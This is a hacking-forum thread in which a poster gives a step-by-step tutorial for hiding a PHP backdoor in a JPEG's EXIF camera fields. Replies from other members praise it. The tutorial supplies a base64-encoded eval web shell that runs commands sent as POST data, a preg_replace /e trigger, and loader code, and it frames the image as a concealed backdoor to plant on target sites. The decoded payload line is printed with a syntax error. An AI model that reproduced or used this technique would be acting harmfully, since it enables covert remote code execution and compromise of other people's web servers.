[-DownFall]

Hello HackForums. I've been gone for a while now, and wanted to contribute something spicy to you guys that I recently learned about.

Editing EXIF data can be used for several exploitation methods, such as shelling websites (getimagesize bypass via comment headers), and what we're going over today.
Remote Code Execution code on a server using a local or remote image, using 2 PHP functions.

For thist tutorial, you need shell access, a writeable directory, PHP 4.20 ---> PHP 5, and PREG_REPLACE enabled in your PHP configuration.

EXIF_READ_DATA()
The first function is called exif_read_data().

EXIF_READ_DATA()

PHP Code


<?php 
array exif_read_data ( string $filename [, string $sections = NULL [, bool $arrays = false [, bool $thumbnail = false ]]] ) 


exif_read_data() reads the EXIF headers from a JPEG or TIFF image file. This way you can read meta data generated by digital cameras.

PREG_REPLACE()
The second function is called preg_replace().

PREG_REPLACE()

PHP Code


<?php 
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 


Searches subject for matches to pattern and replaces them with replacement.

Now, EXIF headers can be modified using several programs (ColorPilot, EXIFPilot, EXIFEditor, GIMP, etc).
2 of the headers we're going to be using in this tutorial are 'Make' (Camera Maker), and 'Model' (Camera Model).

The reason these 2 are being used is - these fields being modified has no effect on the as far as display goes (the image will render normally with no errors on the page).

Now it is possible to store shellcode (malicious code) into these EXIF headers, using either a remote or local image uploaded on the web, and have the code executed on the local server using the PHP function exif_read_data().

Part 1: Creating Image

Open up paint, and create an image (something non suspicious, you don't want your backdoor hella obvious). You can use an image already hosted on the target site.

Spoiler (Click to View)[img]http://www.anony.ws/i/2014/04/29/uVx3Y.jpg[/img]

Now save it as whatever.JPG (IMPORTANT NOT EVERY IMAGE FORMAT CONTAINS EXIF DATA!!)
I'm saving mine as RCE.jpg for this example. (Remote Code Execution)

Part 2: Backdooring EXIF Data

Once you're done, now you're gonna place your malicious code into the EXIF headers.
Right click your image, go to properties, click details, and scroll down to where it says Camera.

Spoiler (Click to View)[img]http://www.anony.ws/i/2014/04/29/jQ1BA.jpg[/img]

Now where it says "Camera Model" - paste this snippet in there, so it looks like the above image.

PHP Code


<?php 
eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsiUkNFIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJSQ0UiXSkpO30=')); 


Your shellcode is encoded in base64. Decoded, it looks like this.

PHP Code


<?php 
eval(base64_decode('if (isset($_POST["RCE"])) {eval(stripslashes($_POST["RCE"]));})); 


This will code will EVALuate your base64-encoded string and check for POST data ("RCE"), being sent to the page later on.
Your payloads will go here.

The eval() function evaluates a string as PHP code.

EVAL()

Now where it says "Camera Maker" - paste this snippet in there so it looks like the above image.

Code

/.*/e

/.*/e uses the PCRE regex modifier, which will EVALuate the data from your Camera Model using PREG_REPLACE() (later), executing the base64-encoded string which will check for POST data.

When your done, click apply and click ok.

Part 3: Checking The EXIF data

Right click your image, and go to Open With ~~> Notepad.
As you scroll over, you'll see random characters, and your EXIF headers in there somewhere too.

Spoiler (Click to View)[img]http://www.anony.ws/i/2014/04/29/OZQJ.jpg[/img]

Now go to your local server,upload your image and create a new file (whatever.php). I'm gonna make a new directory called includes, and make a new index file in there.

Code

http://www.site.com/includes/index.php

Place this code in your new file. This is where exif_read_data() comes into play. We're gonna dump the EXIF data, once again to check if it's in our headers.

PHP Code


<?php
$exif = exif_read_data('FULL/SITE/PATH/IMAGES/RCE.JPG');
var_dump($exif);
?>

Replace FULL/SITE/PATH with your site path of course if your using a local image file, or if you're using a remote image - change it to the URL of your malicious image.
Spoiler (Click to View)[img]http://www.anony.ws/i/2014/04/29/o2yX.jpg[/img]

Now save your new file, and open it up. You should get something like this.
Spoiler (Click to View)[img]http://www.anony.ws/i/2014/04/29/FoK1.jpg[/img]

Part 4: Remote Code Execution!!

Now, you're all set. Go back to your created file, and edit it.
Place your PREG_REPLACE code into your file, under read_exif_data().

PHP Code


<?php 
preg_replace($exif['Make'],$exif['Model'],''); 


Your file should look like this.

PHP Code


<?php
$exif = exif_read_data('FULL/SITE/PATH/IMAGES/RCE.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
?>

Spoiler (Click to View)[img]http://www.anony.ws/i/2014/04/29/nYAhK.jpg[/img]


Now save your file. Remember, your encoded string checks for a POST parameter called RCE. So enable POST data, and enter your commands under RCE.

Spoiler (Click to View)[img]http://www.anony.ws/i/2014/04/29/94KbG.jpg[/img]

Now you can put your backdoor code in any index file and use execute commands when you enable POST data.
Enjoy! ✌

[RBH]

This is a mighty fine tutorial, i wasn't aware that exif data could be used in such a way.
Thanks for writing this.

[Sky]

Definitely booking marking this thread. It fills my heart with joy to see something like this posted in this section, especially through all the shit we've seen lately.

Great work -DownFall.

~Arcane 🤝

[noalias420]

Oh, I haven't seen you make a thread in a while.
It's good to have you back.

[Long Morrison]

Posting here so i'll find it later!
I have seen few like this, but they are pretty simple and badly documented.

thanks!

[Hacker000]

What an amazing tutorial.. Keep it up man.

[cheatson]

Nice mate, like to see some new stuff around here

[BeggFoMercy]

Smart ass , Welcome back bish , Keep it up!

[HIGH PAID FELLA]

Great contribution, thanks for posting. Hope to see you more active.

[crossera]

Awesome tutorial .. Keep that shit up !! :D

[tux1]

This is an interesting tutorial, thanks for sharing.

[Wᴀᴄᴋᴏ]

-Downfall! I haven't seen you here in a long time... Your tutorials have helped me a lot over the years. It's good to have you back.
Amazing tutorial by the way. Bookmarked.

[dotcppfile]

This is impressing, thanks for sharing it with the community.

[-DownFall]

Thank you all for the support, feels good to be back :3

[JoinSeventh]

Nice tutorial -DownFall, glad to see you're back.